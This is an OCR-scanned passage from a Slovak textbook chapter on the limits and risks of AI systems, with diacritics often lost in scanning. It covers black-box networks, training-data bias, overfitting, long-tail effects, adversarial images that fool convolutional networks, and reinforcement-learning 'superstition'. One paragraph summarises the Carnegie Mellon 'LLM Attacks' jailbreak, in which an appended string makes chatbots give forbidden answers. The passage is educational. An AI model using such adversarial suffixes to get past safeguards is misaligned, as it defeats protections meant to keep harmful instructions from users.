neuronovych sieti, ale — a to castokrat efektivnejsie — aj pomocou klasickych
metod."

Mnohé moderné technoldgie umelej inteligencie v sebe kombinuju viacero
pristupov —napriklad velké jazykové modely, medzi ktoré patri aj ChatGPT, v ramci
svojich algoritmov vyuzivaju i ucenie s ucitelom i ucenie formou odmerniovania.
Umela inteligencia AlphaGo (prelomova Al, ktora porazila najlepsieho hraca v hre
Go), resp. jej ovela sofistikovanejsi nastupca AphaZero v sebe kombinuju viaceré
metddy, napr. ucenie s ucitelom, ucenie formou odmeniovania, metéodu stromu
Monte Carlo a pod.

Hl'adanie novych rieSeni

Osobitnou kapitolou je vyvoj Spickovych sofistikovanych slabych systémov Al
(ANI) a vyskum v oblasti vSeobecnej (skutocnej) umelej inteligencie (AGI), pri
ktorych treba ratat s novymi technolégiami postavenymi na kombindcii
symbolickych a subsymbolickych pristupov a metod.

Aj ked, ako bolo uvedené vyssie, logika prvého radu sa nedokazala vysporiadat
s neistotou a nedeterministickym vnimanim sveta (pri rovnakych vstupoch dava
rozne vysledky, teda dokaze volit rdzne moznosti), nesmieme ju vyltcit z dizajnu
pokrocilych systémov Al V sticasnosti je vSak v praxi pritomny opacny extrém —na
zaklade preferovania subsymbolickych systémov sa rezignovalo na logiku az do tej
miery, Ze moderni vyvojari umelej inteligencie o nej mnohokrat nemaji ani
tusenia.’® KedZe sa vSak realny svet sklada z objektov a vztahov medzi nimi, logika

17 REDDY, B. The Most Popular Machine Learning Algorithms in Production [on-line].
Twitter. [cit. 6. septembra 2023].
Dostupné na internete: <https://twitter.com/bindureddy/status/1698919098489733212>

Napriklad neurénové siete nie s pre vhodné pre tabuldrne data (pri klasifikacnych
zadaniach je vhodnejsi napr. Gaussov naivny bayes klasifikator a pod.).

188

189 Pre symbolické systémy postavené na logike sa dokonca zauzival pejorativny nazov

GOFAI - Good Old-Fashioned Al
HAUGELAND, J. Artificial Intelligence: The Very Idea. MIT Press, 1985.
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prvého radu patri k fundamentom pri popise realneho sveta a ako taka by mala byt
sucastou navrhu sofistikovanych systémov AL

Samozrejme, kombinacia sucasnych postupov, principov a metoéd nestaci na vyvoj
budtcich, dokonalejsich systémov umelej inteligencie — treba hladat nové
a inovativne rieSenia. Exemplarnym prikladom st neurénové siete, ktoré sa snaZzia
simulovat ¢innost mozgu na urovni neurénov. Problémom je, Ze tato simuldcia je
nedokonala a len Cdiastocna. Biologické neurdny sa spravaju inak ako uzly
neurénovych sieti a mozgové procesy st v mnohom komplexnejsie.””! Vysledkom

190

191

Rovnaky pohl'ad zdiel'a i Demis Hassabis, zakladatel'a CEO spolo¢nosti DeepMind
venujucej sa najpokrocilej$im systémom Al: ,Na dosiahnutie skuto¢nej inteligencie
nestacia sticasné systémy hlbokého ucenia, ktoré st ekvivalentami zmyslovych centier
v mozgu, napr. vizualneho alebo sluchového. Skuto¢na inteligencia je vSak ovela viac
nez to, kedze je treba skombinovat zmyslové vstupy do myslenia vyssej tirovne

a symbolického uvazovania. Musime preto tieto systémy budovat az do symbolickej
urovne uvazovania a myslenia - t. j. do irovne matematiky, jazyka a logiky.”

HEATH N. Google DeepMind founder Demis Hassabis: Three truths about Al [on-line].
TechRepublic, September 24, 2018. [cit. 12. augusta 2022].

Dostupné na internete: <https://www.techrepublic.com/article/google-deepmind-
founder-demis-hassabis-three-truths-about-ai/>

Por. RUSSELL, Human Compatible, s. 271.

Uzol, napodobriujtic ¢innost neurénu, vysiela impulz, resp. vo vSeobecnosti ¢iselné
stavy. Vystupom biologického neurdénu je vsak elektricky prad spésobeny pohybom
ionov v bunke. Jednotlivé vystupné prady sa prostrednictvom synaps postvaju do
dalsich buniek, kde zvysuja ich membranovy potencial, ktory je vysledkom
nerovnovaznej koncentracie iénov. Ked membranovy potencial neurénu prekroci uréita
prahova hodnotu, bunka vysle impulz (pouziva sa termin spike), t. j. prad, ktory sa ma
odovzdat do dal$ich buniek. V klasickych neurénovych sietach je tento proces
simulovany vystupnym binarnym impulzom a vahovym stavom ,,synapsy” spajajicej
dva uzly.

Biologické neurény majui naviac vnutorn dynamiku, ktora sposobuje ich zmeny v case.
S plynutim ¢asu maji tendenciu vybijat sa a znizovat svoj membranovy potencial, coho
désledkom je napriklad skutoc¢nost, Ze riedke impulzy na vstupe neurénu nespdsobia
vystupny impulz!

Biologické neurény komunikuja a spractivaju informadcie asynchréonne, kym typické
uzly neurénovych sieti synchronne, t.j. v jednom kroku vSetky uzly jednej vrstvy
neurdnovej siete precitaju vstup, vyrataju vystup a postvaju ho dalej. U biologickych
neurdnov je to iné — v kazdom okamihu mézu prijat vstupny signal a vytvorit vystup
bez ohl'adu na spravanie sa ostatnych neurénov.

Tiez treba poznamenat, Ze biologické systémy maju ovela prepracovanejsi systém
spatnej vazby na tirovni neurénov, nez si dnesné metddy pouzivané v neurénovych
siefach.

A aby toho nebolo malo, neurény v ramci biologickych systémov, ako kazdé iné bunky,
maja jadro a v iilom DNA, ktord s ¢innostou tychto neurénov tizko suvisi. Interakcia
medzi génmi a ich prostredim ovplyviiuje ¢innost neurénov az do tej miery, Ze sa to
mdze prejavit na prenose signalov v neurénovych sietach a v kone¢nom dosledku aj na
kognitivnych funkciach.
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ich hlbsieho skimania je vyvoj dalsich generacii neurénovych sieti.'”2 Ziadanym
ovocim/vyslednym produktom vyvoja tychto najnovsich technolégii je kvalitativne
zlepSenie cinnosti modernych systémov Al a zniZzenie vypoctovej, datovej
a energetickej ¢innosti ich fungovania.

V predchadzajicej podkapitole sme uviedli viaceré problémy - tzv. trhliny
v inteligencii, kvoli ktorym sa stcasné systémy umelej inteligencie nemozu
porovnavat s fudskou inteligenciou (simulacia myslenia, bariéra chapania zmyslu,
kreativita, skuto¢na schopnost abstrakcie, analdgie, tvorby konceptov, emocie,
hodnotovy ramec a pod.). Bez vyrieSenia tychto problémov nie sme schopni vytvorit
vSeobecnti umelt inteligenciu (AGI). Viaceri popredni badatelia v oblasti AGI ich
vyrieSenie podmieniuji dosiahnutim koncepénych prelomov, medzi ktoré patri
chapanie jazyka v kontexte zdravého rozumu, kumulativne ucenie sa konceptov
a tedrii, objavovanie a spravovanie buducich cinnosti, manaZzovanie mentalnej
aktivity,' prechod od racionality k inteligencii' a od poznania k mudrosti,
schopnost motivacie a chapanie mentalnych modelov okolia.'*>

192 Ide napriklad o neoromorfné architekttry postavené na tzv. spike neurénoch (a celych
spike neurénovych sietach), pripadne na neurogenegickom modelovani alebo
o technologické rieSenia vyuzivajice kombinaciu analégovych a digitalnych obvodov,
biotechnolégie a pod.

195 Styri podstatné koncepéné prelomy podla Stuarta Russella.
Por. RUSSELL, Human Compatible, s. 78-93.

1% Inteligencia limitovanej AGI vs. schopnost jej racionalneho konania (Miroslav Marcelli).

1% Sposob, akym Iudia pouzivaji jazyk, sa spolieha na to, Ze maji mentalny model
inteligentnej entity na druhej strane konverzacie, aby mohli interpretovat vyjadrené
slova a myslienky (Noah Goodman).
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Kardinalnou vyzvou na ceste dosiahnutia AGI, teda skutocnej umelej inteligencie, je
hladanie a implementdcia takych technologickych, regula¢nych a etickych principov
a rieSeni, ktoré by, zjednodusene povedané, zabezpecili, aby ndm tato inteligencia
v budticnosti neprerastla cez hlavu.'*

(\D} Do ktorej kategdrie systémov umelej inteligencie by ste zaradili IBM Watson, IBM
WatsonX, ChatGPT, Bard, AlphaZero?

(\@_} Zamyslite sa, ¢i mdte pri sebe v skole aspoii jedno zariadenie vyuZivajiice technoldgie
umelej inteligencie.

Limity a rizikd sucasnych systémov umelej
inteligencie

Pri vyvoji, realizacii a nasadzovani prvkov Al je treba ratat s viacerymi
obmedzeniami a rizikami modernych systémov umelej inteligencie. KedZe v ramci
sucasnych technologii su vo velkej miere implementované algoritmy
subsymbolickych systémov Al, konkrétne algoritmy r6znorodych neurénovych
sieti, osobitnym spdsobom sa zameriame na zlyhania prvkov neurénovych sieti.

Len pripominame, Ze stiasné systémy umelej inteligencie su postavené na
informac¢nych a komunikaénych technoldgiach. Preto, rovnako ako elektronické
systémy, zdielaju aj vsetky rizikd a neduhy modernych kybernetickych systémov,

196 SANTAVY, Umeld inteligencia — dobry sluha a zly pan?, s. 220-264.
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takze kyberneticka bezpecnost sa stava podstatnym aspektom rieSeni postavenych
na umelej inteligencii. Rizika systémov Al sa s bezpec¢nostnymi rizikami prekryvaja
a podobne, ako tie bezpecnostné, sa daju manazovat, pricom na vyhodnotenie rizik
vieme vyuzit viaceré ramce riadenia rizik."”

Neurdnova siet ako ,, black box*1%

Jedno zo zakladnych rizik vyplyva zo skutocnosti, Ze, zjednodusene povedané,
prakticky nevieme, na zdklade coho robia hlboké neurénové siete svoje
rozhodnutia.'” Vieme, ako nadizajnovat neurénovu siet pre konkrétnu oblast
pouzitia. Vieme, ako ju natrénovat a v ramci moZznosti aj otestovat. Kedze vSak
neurénova siet neobsahuje subor presnych softvérovych postupov na trovni
logického myslenia, ale je tvorena len stohom rovnic, len neprehladnym mnozstvom
tazko interpretovatelnych operdcii s ¢islami, ktoré funguju na zdklade spravneho
nastavenia vah, konstant a prahovych hodnoét, v zasade nevieme, ¢o presne sa
neurdnova siet naucila a ako spolahlivo to dokaze aplikovat nielen v beznej
prevadzke, ale osobitne v hrani¢nych situdciach za extrémnych podmienok na
vstupe, ¢ pri Cinnosti systému. Tato miera nevedomosti rastie s mierou
komplexnosti neurdnovej siete, tj. po¢tom skrytych vrstiev a uzlov, pouzitymi
algoritmami a pritomnostou Specifickych tprav. S narastajucou komplexnostou
zaroven klesa nasa schopnost porozumiet modelom a ich rozhodnutiam.

RieSenim tohto nelahkého problému sa zaobera cela oblast vyvoja umelej
inteligencie — metddy tzv. XAI (Explanaible Al), vysvetliteInej umelej inteligencie.
Podstatou je skutocnost, Ze systémy Al nemozu vykonavat dolezité tlohy spojené
s rozhodnutiami v  redlnom svete, pokial nie st dostatocne vysvetlitelné
a transparentné. Naviac, vzhladom na komplexnost, ktora so sofistikovanostou

7 Napr. Artificial Intelligence Risk Management Framework z dielne National Institute of

Standards and Technology v USA. Artificial Intelligence Risk Management Framework
(AI RMF 1.0). [on-line]. [cit. 1. novembra 2023].
Dostupné na internete: https://nvlpubs.nist.gov/nistpubs/ai/NIST.AI.100-1.pdf

1% SANTAVY, Umela inteligencia — dobry sluha a zly pan?, s. 66-70.
199 Por. MITCHELL, Artificial Intelligence, s. 39.
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tychto systémov narastd, je rovnako dolezité najst rovnovahu medzi presnostou
a vysvetlitelnostou, resp. interpretovatelnostou.?

88%
e ®
L
.
[ ]
'— t
Data The Black Box Output/Score

Obr.: Schematicky ndcrt, ako funguje Standardny systém zaloZeny
na modeli umelej inteligencie.””!

(\D} Aky je rozdiel medzi vysvetlitelnostou a interpretovatelnostou systémov AI?

Porovnajte popis problému v éasopise Quark s odpovedami, ktoré poskytne ChatGPT.

Zranitelnosti, slabiny a klamanie systémov strojového

ucenia?

V rédmci niekol'kych dekad vyvoja neurénovych sieti a systémov strojového ucenia
boli postupne identifikované viaceré rizikové faktory a zraniteInosti systémov Al
Uvedme aspon tie podstatné:

mala mnozina trénovacich dat,

nespravne zvolena, ¢i nekvalitnda mnozina trénovacich dat a predsudky,
nadmerné prisposobovanie sa tréningovym tdajom,

efekt dlhého chvosta,

200

201

202

Dobrym tivodom k tejto téme moze byt serial o transparentnosti Al v casopise Quark.
TAMAJKA, M. Ako rozmysla umela inteligencia [on-line]. [cit. 31. augusta 2023].
Dostupné na internete: https://www.quark.sk/ako-rozmysla-umela-inteligencia
Escaping Skinner's Box: AI and the New Era of Techno-Superstition [on-line]. [cit. 27.01
2024].

Dostupné na internete: https://philosophicaldisquisitions.blogspot.com/2019/10/
escaping-skinners-box-ai-and-new-era-of.html

SANTAVY, Umeld inteligencia — dobry sluha a zly pan?, s. 70-81.
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e klamanie hlbokych sieti a ich zranitelnosti,
e povery.

Mala mnozina trénovacich dat (training dataset)

Uspesnost vadsiny stcasnych systémov umelej inteligencie je extrémne zavisla
na rozsiahlych a kvalitnych stiboroch spravne oznacenych trénovacich dat, resp.
tréningovych iteracii.®® Bez nich sa sucasné systémy strojového ucenia nedaji
vytrénovat a ich nedostatok vedie v lepsom pripade k nekvalitnym, v tom horsom
k nespravnym vysledkom a fatalnym zlyhaniam.**

Nespravne zvolena ¢i nekvalitna mnozina trénovacich dat a predsudky (biases)

Na zaklade nespravne zvolenej alebo nekvalitnej (napr. nespravne oznackovanej)
mnoziny trénovacich dat sa systém Al nauci robit chybné zavery alebo podavat
vysledky ,,s predsudkami® 2%

V tomto pripade ide o problém nielen technologicky, ale aj sociologicky — predsudky
¢i zaujatost v spolocnosti vedu k volbe nespravnemu obsahu trénovacich dat
anasledne k chybnym vysledkom systémov Al, pricom v mnohych pripadoch hrozi,
ze systémy Al trénované na zaujatych datach moézu tieto predsudky nasobit
a sposobit realne skody.

Dalsim aspektom ,zaujatych” systémov Al je zniZena tspesnost ich ¢innosti na
zaklade predsudkov, ¢o modze mat velmi neprijemné dosledky napr.
v bezpecnostnych systémoch, ochrane Iudskych prav, socialnej spravodlivosti
a pod.

Nespravne fungovanie zaujatého systému Al castokrat nie je problém detekovat
v ramci ostrého nasadenia, no nie je trividlne toto nespravne fungovanie odhalit
v predstihu (napr. v procese ucenia).

23 NG A. Deep Learning in Practice: Speech Recognition and Beyond. [on-line]. In: EmTech
Digital. 2016, 23. maj. [cit. 3. februara 2022].

Dostupné na internete: https://events.technologyreview.com/video/watch/andrew-ng-
deep-learning

4 Jedno z (takmer) univerzalnych pravidiel pre strojové ucenie znie: je lepSie mat viac dat
aj s chybami, nez menej bezchybnych dat!

25 Viackrat sa stalo, Ze systémy Al museli byt vypnuté, lebo po uvedeni do prevadzky sa
na zaklade nespravne nastavenych hyper parametrov a zvolenej mnoziny trénovacich
dat vyvijali nesprdvnym smerom. Napr-.:

KRAFT, Microsoft shuts down Al chatbot after it turned into a Nazi, [on-line]. [cit. 6.
augusta 2020].

Dostupné na internete: https://www.cbsnews.com/news/microsoft-shuts-down-ai-
chatbot-after-it-turned-into-racist-nazi

HAMILTON, Amazon built an Al tool to hire people but had to shut it down because it
was discriminating against women, [on-line]. [cit. 6. augusta 2020].
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V niektorych oblastiach nasadenia umelej inteligencie nie je jednoduché natrénovat
systtm Al bez predsudkov. Vyzaduje si to mnohokrat velkii erudovanost
anasadenie tych, ktori pripravuji trénovacie data, pricom aj pre nich plati, Ze pokial
su suiCastou spolocnosti akceptujicej predsudky, podvedome ich mozu prenasat aj
do svojej prace. A tu sa dostdvame na vel'mi tenky I'ad, pretoZe v mnohych oblastiach
sa ako spolocnost nezhodneme na tom, ¢o je a ¢o nie je predsudok.

Nadmerné prisposobovanie sa trénovacim tidajom (overfitting to training data)

Ide o neziaduice spravanie sa systému strojového ucenia, ku ktorému dochadza,
ked model strojového ucenia poskytuje presné predpovede pre trénovacie udaje,
ale nie pre nové udaje. Tzv. pretrénovany model bude perfektny na trénovacich
datach (prakticky bezchybny), no pre testovacie data bude velmi chybovy.

Nadmerne prisposobeny model moze poskytovat nepresné predpovede alebo sa
naudi z trénovacich dat rozliSovat nieco iné, nez to, ¢o sa mal naucit. Takyto model
v zasade nemdze dobre fungovat pre vsetky typy novych tidajov.

Napriklad, ak sa ma systém naucit rozliSovat nakresleny kruh a v ramci uciaceho
procesu trénovacie data budu obsahovat vzorky, na ktorych je nakresleny kruh vzdy
len na zelenom podklade, je moZzné, Ze systém sa nauci ako kruh identifikovat nie to,
¢o nakresleny kruh skutoéne obsahuje, ale skor vsetko to, ¢o je zelené. Ak potom pri
ostrej prevadzke bude na vstupe napriklad trojuholnik na zelenom podklade,
systém ho bude identifikovat ako kruh.

V uvedenom pripade je odhalenie problému velmi lahké a naprava jednoducha.
Avsak v redlnom svete (napr. pri detekénych systémoch Al v kvantovej fyzike,
onkologii, atd.) to vobec nemusi byt jednoduché a koreldcia (vzajomna vézba),
koherentnost (stvislost/spojitost) i kauzalita (pricinnost) v ramci tréningového
procesu vobec nemusi byt zjavna.

Efekt dlhého chvosta (long-tail effect)

Tymto terminom sa v oblasti umelej inteligencie rozumie velky rozsah moznych
neocakavanych situdcii, s ktorymi by sa systém Al mohol stretntt. Termin ,long-
tail” pochéadza zo Statistiky a vyjadruje urcité rozdelenie pravdepodobnosti v tvare
pretiahnutého chvosta, ktory indikuje zoznam velmi nepravdepodobnych, ale
moznych situacii, ktoré vo vynimoc¢nych pripadoch moézu nastat. Tieto situacie
nazyvame aj hranicnymi/okrajovymi pripadmi.
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Situacia Pravdepodobnost

pred sebou vidis ¢ervenu na semafore [ NNEGIGIGNGNGEEEEEEEEEEEEEEEE
pred sebou vidis znac¢ku stop [IIIEIEININININEL DI
stavebny robotnik usmeriuje dopravu [ INIEIGINGEGEGEGEGEGENEENENEE
na ceste pred vozidlom je rozbité skio [ IENEGNGTNG
auto za tebou je prilis blizko pre bezpecnu jazdu _

auto pred tebou ma uz 2 km zapnutu l'avi smerovku
bez toho, aby odbocilo

pred sebou vidis poletujlice plastové vrecko
sneh pokryva znacenie jazdnych pruhov na ceste
semaféry nefunguju z dévodu vypadku pridu

na ceste stoji skupina holubov
DLHY

cesta je zaplavena [ CHVOST

cervena trva viac ako 5 minut, hoci su ulice prazdne -

ides 70 km/h a nahle vidis snehuliaka uprostred cesty l

Obr.: Pravdepodobnost vyskytu niektorych situdcii, s ktorymi sa moze
autondémne vozidlo stretmit v prevddzke.

V realnom svete jednoducho nedokazeme vsetko popisat a predlozit systémom
strojového ucenia na vytrénovanie.”

Ak sa nad efektom dlhého chvosta zamyslime, vidime, Ze trénovanim (uéenim
s ucitelom, supervised learning) nie sme schopni systém Al spravne naucit zvladat
vSetky hranicné situacie, kedZe tieto nedokazeme dostatocne zahrnat do
trénovacich dat. A ak nie sme schopni systém Al na tieto hranicné situdcie pripravit,
s velkou pravdepodobnostou pri ich vyskyte budeme celit neo¢akavanym chybam
a zlyhaniam.

V kontexte zavadzania systémov umelej inteligencie do redlneho nasadenia sa tento
problém v ramci konzervativneho pristupu riesi kombindciou Specialnych mnozin
trénovacich dat obsahujticich rézne hrani¢né situdcie a osobitne naprogramovanymi
obmedzeniami pre hrani¢né stavy, ¢o vsSak neprinasa dostatocnt robustnost
v redlnej prevadzke. Moderny pristup zas kombinuje algoritmy ucenia s ucitelom

206 BENGIO, Y. Machines Dream. In: BEYER, D. ed. The Future of Machine Intelligence:
Perspectives from Leading Practitioners. Sebastopol, Calif.: O'Reilly Media, 14.
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a ucenia bez ucitela (supervised and unsupervised learning), tj. natrénovanie
systému na urcitej mnozine oznacenych dat (labeled dataset) a nasledné ucenie sa
bez ucitela, tj. snaha naucit systém kategorizovat a zoskupovat vstupné data do
celkov, pre ktoré ma systém Al konkrétne rieSenia a reakcie.?” Perspektivnu
kategoriu systémov eliminujucich tskalia dlhého chvosta tvoria aj rieSenia
vyuzivajtice u€enie formou odmenovania (reinforcement learning).

Pre eliminaciu viacerych rizik, doteraz uvedenych problémov s (nielen) trénovacimi
datami, sa v kontexte uvedenych pristupov v sticasnosti vyuzivaju viaceré metddy
pripravy dat so zameranim na rozdelenie stiboru tdajov a ich vyvazenost, Sum
v udajoch, normalizaciu a Standardizaciu atribttov, detekciu nadmerného ucenia
a obranu proti nemu.?®

Klamanie hlbokych sieti a ich zranitelnosti (fooling deep neural networks
and vulnerability to hacking)

Co mé spolo¢né $pecialny make up, pokreslené cesta, samolepkami oblepeny stip ¢
avantgardna potla¢ na tricku? Dokdzu dokonale zmiast r6zne moderné systémy
strojového videnia, detekcie objektov, rozpoznavania tvari ¢i autonémne systémy
riadenia vozidiel. Zial, osobitne v poslednej dekade akcelerovaného vyvoja
systémov strojového ucenia zistujeme, Ze je neuveriteIne jednoduché priebezne
a mnohymi spésobmi oklamat hlboké neurdnové siete.?” Naviac, oklamanie
systémov Al je mozné vykonat nielen pre cloveka lahko viditelnymi a rozliSitelnymi
spOsobmi, ale castokrat i technikami, ktoré st pre Iudskt bytost nepostrehnutelné.
Nasledujtci obrazok napriklad ukazuje dvojice prikladov, na ktorych konvolucna
neurénova sief AlexNet, ktora bola najlepSou sietou na klasifikaciu obrazkov
z databazy ImageNet v roku 2012, totdlne pohorela. Nespravne klasifikovany
obrazok z dvojice obsahuje volnym okom prakticky nepostrehnutelné tpravy
na urovni pixelov, ¢o sta¢i na tplné pomylenie — a ako vidime na obrazku — aj mozné
cielené pomylenie systému Al konkrétnym smerom. Pritom ¢lovek s klasifikaciou
vSetkych uvedenych obrazkov nema najmensi problém.

27 Por. MITCHELL, Artificial Intelligence, s. 103.

28 Medzi inym ide o rozdelenie dat na trénovacie, validacné a testovacie, cross-validation,
imbalanced data sets, detekciu pretrénovania, metriky accuracy, precision, recall a pod.
Pre tispesné ucenie st dolezité metddy predspracovania dat — napr. postupy pre
ocistenie dat, ich normalizaciu a Standardizaciu.

29 Por. MITCHELL, Artificial Intelligence, s. 110.

192



Skolsky autobus Pitros

-~ o 2

iy

Chram Pitros shih tzu (plemeno) Pstros

Obr.: Spravne a nesprdvne klasifikované obrizky sietfou AlexNet.?'

Neuronové siete mozu byt vSak klamané aj inymi sposobmi. Napriklad, ak sa
budeme pohybovat stale v oblasti strojového videnia, pre cloveka nedefinovatelné
obrazky nahodného Sumu moze hlboka siet vyhodnotit s velkou mierou istoty ako
konkrétny objekt.

Dalsi obrézok zobrazuje priklady, ktoré vyzeraji ako nahodny $um, no pre AlexNet
a iné konvolucné siete’ ide s viac nez 99% pravdepodobnostou o konkrétne
kategorie objektov.

20 MITCHELL, Artificial Intelligence, s. 110, upravené autorom.

21 Konvolucné siete (Convolutional Neural Networks, CNN) st typom neurdnovych sieti,
ktoré sa casto vyuzivaju na rieSenie problémov spracovania obrazu. Prikladom moze
byt klasifikdcia obrazov, detekcia objektov, segmentacia obrazov a pod.
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Obr.: Priklady Sumu, ktoré konvolucné siete vyhodnocujii ako kategorie objektov.*™2

Aby toho nebolo madlo, priklady Sumu, ktoré zmiatli konvolucné siete, boli
vygenerované pomocou vypoctovych postupov, ktoré sa nazyvaju genetické
algoritmy a st inSpirované procesmi z biologickych organizmov.?”® Ide teda
o obrazky, ktoré sa pomocou genetickych algoritmov ,vyvinuli“?* do podoby
nespecifického Sumu pre cloveka, avsak pre systémy Al do podoby jasne
identifikovanych kategorii objektov.

Rozne vyskumy v tejto oblasti len potvrdili, ze v ramci CNN je na zlyhanie nachylna
nielen AlexNet, ale zranitelné su aj viaceré iné konvolucné siete, a to napriek tomu,
7e mali rozliéné architektury, hyperparametre a mnoziny trénovacich dat.2'* Zial,
konvolucné neurénové siete st nachylné na zlyhanie pri zaskodnickych datach
(adversarial examples).

Problém je vSak Sirsi a netyka sa ,len” CNN, tj. konvolu¢nych neurénovych sieti.
Ako potvrdili dalSie vyskumy, pomocou (nielen) genetickych algoritmov je mozné
pripravit také vstupné data a cesty, ktoré podobnym spdsobom oklamu hlboké

22 NGUYEN, YOSINSKI, CLUNE, Deep Neural Networks are Easily Fooled: High
Confidence Predictions for Unrecognizable Images, upravené autorom.

23 Por. NGUYEN, A., YOSINSK]I, J., CLUNE, J. Deep Neural Networks are Easily Fooled:
High Confidence Predictions for Unrecognizable Images. [on-line]. CVPR, 2015. [cit. 12.
februara 2022].

Dostupné na internete: <https:// cv-foundation.org/openaccess/con tent_cvpr_2015/
papers/Nguyen_Deep_Neural_Networks_2015_CVPR_paper.pdf>

24 MITCHELL, M. An Introduction to Genetic Algorithms. Cambridge, Mas.: MIT Press,
1996.

215 SZEGEDY, CH. et al. Intriguing Properties of Neural Networks. Proceedings of the
International Conference on Learning Representatins, 2014.
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neurénové siete vo vseobecnosti.?® Tieto utoky v stcasnosti dokazu oklamat
systémy identifikacie osob, autondmnych vozidiel, spracovania lekarskych dat,
rozpoznavania reci, analyzy textu a pod. Vaznym zistenim je fakt, Ze mnohé
z moznych utokov su prekvapivo robustné — dokazu ucinne oklamat rdzne
a diametralne odlisné sofistikované systémy strojového ucenia.?"”

Na dokreslenie vaznosti a aktudlnosti zlyhani systémov Al pri zaSkodnickych
datach mozeme uviest i jeden z modelovych problémov generativnych technologii,
konkrétne velkych jazykovych modelov (LLM). V case pisania tejto kapitoly bol pod
vSeobecnym nazvom LLM Attacks vyskumnikmi Carnegie Mellon University
zverejneny novy utok na velké jazykové modely.?”® Tento ttok modifikdciou
vstupnej vyzvy (doplnenim Specidlneho retazca do vstupného promptu, ¢o by sme
velmi hrubo mohli prirovnat k softvérovému buffer overflow) printti jazykovy
model davat zakazané odpovede, napr. navod na vyrobu bomby ¢i kradez identity,
text navadzajuci na socialnych sietach na (seba)destrukéné konanie a pod. Ide
o utok, ktory bol pdvodne odhaleny na jednom z open source jazykovych modelov,
avsak bez problémov atakoval i zavedené komercné modely, napr. ChatGPT
z dielne OpenAl, Bard od Google alebo Claude spolo¢nosti Anthropic, ktory sa, ako
konkurent ChatGPT, hrdi bezpe¢nym dizajnom, tj. integrovanymi etickymi
principmi a pravidlami na zabranenie generovania nekalych vystupov.*® Zico
Kolter, jeden z autorov stiidie o LLM Attacks, k tomu dodava: , Nepozname ziadny
sposob, ako to opravit”, takze ,v skutocnosti nevieme, ako tieto systémy
zabezpecit” >

26 Por. NGUYEN, YOSINSKI, CLUNE, Deep Neural Networks are Easily Fooled: High
Confidence Predictions for Unrecognizable Images, [on-line]. [cit. 12. februara 2022].
Dostupné na internete: <https:// cv-foundation.org/openaccess/con tent_cvpr_2015/
papers/Nguyen_Deep_Neural_Networks_2015_CVPR_paper.pdf>

27 Por. MITCHELL, Artificial Intelligence, s. 113.

218 70U, A.,, WANG, Z., ZICO, K, FREDRIKSON, M. Universal and Transferable
Adversarial Attacks on Aligned Language Models. [on-line]. [cit. 7. augusta 2023].
Dostupné na internete: <https://arxiv.org/abs/2307.15043>

29 Ide o technolégiu firmy Anthropic, ktory by mala obsahovat vnutornti autocenziru bez

potreby zasahu ¢loveka. Claude by tak mal mat urcitt ,, vlastnti tstavu” — stibor
elementarnych pravidiel, ktoré pouziva pri sebazdokonalovani. V zasade ide o iny
spOsob rieSenia etickych problémov — ChatGPT problematiku riesi pridanymi filtrami,
Constitutional AI/Claude by to mala mat integrované priamo v jadre technologie.
Introducing Claude. [on-line]. [cit. 7. augusta 2023].
Dostupné na internete: <https://www.anthropic.com/index/introducing-claude>

20 KNIGHT, W. A New Attack Impacts Major Al Chatbots — and No One Knows How to
Stop It. [on-line]. [cit. 7. augusta 2023].
Dostupné na internete: <https://www.wired.com/story/ai-adversarial-attacks/>
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Zistené zranitelnosti pomocou zaskodnickych dat tak prinasaju dilemu a poznatok:

o dilemu, resp. rozpor medzi evidentnym uspechom systémov hlbokého ucenia
v rozli¢nych zadaniach umelej inteligencie a jednoduchostou, s akou je mozné
tieto systémy oklamat.

e poznatok, Ze ani o sucasnych pokrocilych systémoch strojového ucenia
nemdzeme povedat, Ze ich uciaci proces je podobny tomu ludskému a ich
schopnosti nie je mozné porovnavat s [udskymi, toboz hovorit o ich
rovnocennosti alebo prekroceni tych Iudskych.”

Z pohladu zranitelnosti systémov umelej inteligencie je problém oklamania
hlbokych sieti samozrejme rieSeny, kedze sa vytvaraju tzv. adversarial learning
algoritmy (Studujtice ttoky pomocou zasSkodnickych dat a mozné obranné reakcie),
doplnkové filtre a rozne dalSie stratégie strojového ucenia, ktorych cielom je
ochranovat systémy Al pred tymto typom zranitelnosti. Je vSak pravdou, Ze i ked sa
pochopeniu a obrane voci roznym potencidlnym ttokom venuje vela z vyvoja
sucasnych systémov Al, na rozdiel od $pecifickych obrannych rieSeni neexistuje
ziadna uc¢inna vseobecnd obranna stratégia. Preto v rdmci sticasnej irovne vyvoja
hlbokych sieti m6zeme povedat, Ze podobne — ako v oblasti klasickej kybernetickej
bezpecnosti — ide o nekonciaci zapas medzi hladanim novych tto¢nych postupov
a tvorbou obrannych stratégii.

Povery (superstition) — prirychly Q-learning

Poslednou z rozoberanych zranitelnosti a slabin systémov strojového ucenia su
povery.

Poverou zvykneme nazyvat mylna vieru, ze urdita akcia ¢i ttkon mézu pomoct
zapricinit dobry alebo zly vysledok. V oblasti umelej inteligencie ide o problém
prevazne v ramci algoritmov ucenia formou odmenovania (reinforcement learning),
pri ktorych sa trénovanie modelu (agenta) realizuje prostrednictvom interakcie
s prostredim metddou pokus-omyl.

V rdmci trénovania systému Al (napr. robotického systému) vznika povera vtedy, ak
sa dany systém chybne nauci vykonavat nejaky nepotrebny, ba az mozno
nebezpecny tkon pre dosiahnutie pozadovaného ciela. Moze tak ist napriklad
o prekvapivy a nebezpecny pohyb robotického ramena alebo necakany manéver
autonémneho vozidla, ktory ohrozi ticastnikov premavky.

Nielen vyvarovanie sa poveram, ale aj celkovy ndvrh tspe$ného systému ucenia
formou odmerniovania je stale eSte urcitou alchymiou ¢i umenim, ktoré zvlada

21 Stcasné najlepsie systémy CNN sice dosahujii tspesnost v klasifikacii objektov vyssiu
ako clovek, ale ako sme uviedli, mylia sa v situacidch, ktoré udska bytost s prehladom
zvlada.
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relativne mala skupina expertov s velkym citom a praxou v ladeni hyper
parametrov.??

Aj napriek neodskriepitelnému tspechu vyvoja a nasadenia sticasnych systémov
umelej inteligencie v Sirokom spektre akademického i redlneho prostredia musime
mat neustdle na pamati, Ze tieto systémy mozu zlyhavat najrozlicnejSimi a casto
neoc¢akdvanymi sposobmi v dosledku nemoznosti pripravit dostatocne velku
mnozinu trénovacich dat, pripadne ich nespravnej volby bez dostato¢nej kvality
alebo s predsudkami, nadmernému prispdsobovaniu sa tréningovym tdajom,
efektu dlhého chvosta, rizikdm plyntucim z oklamania hlbokych sieti, ich
zranitelnosti a povier, pod ¢o sa podpisuje i nedostatok odbornej erudovanosti
potrebnej pre dizajn a ladenie hyperparametrov pri priprave funkéného a tispesného
rieSenia.**

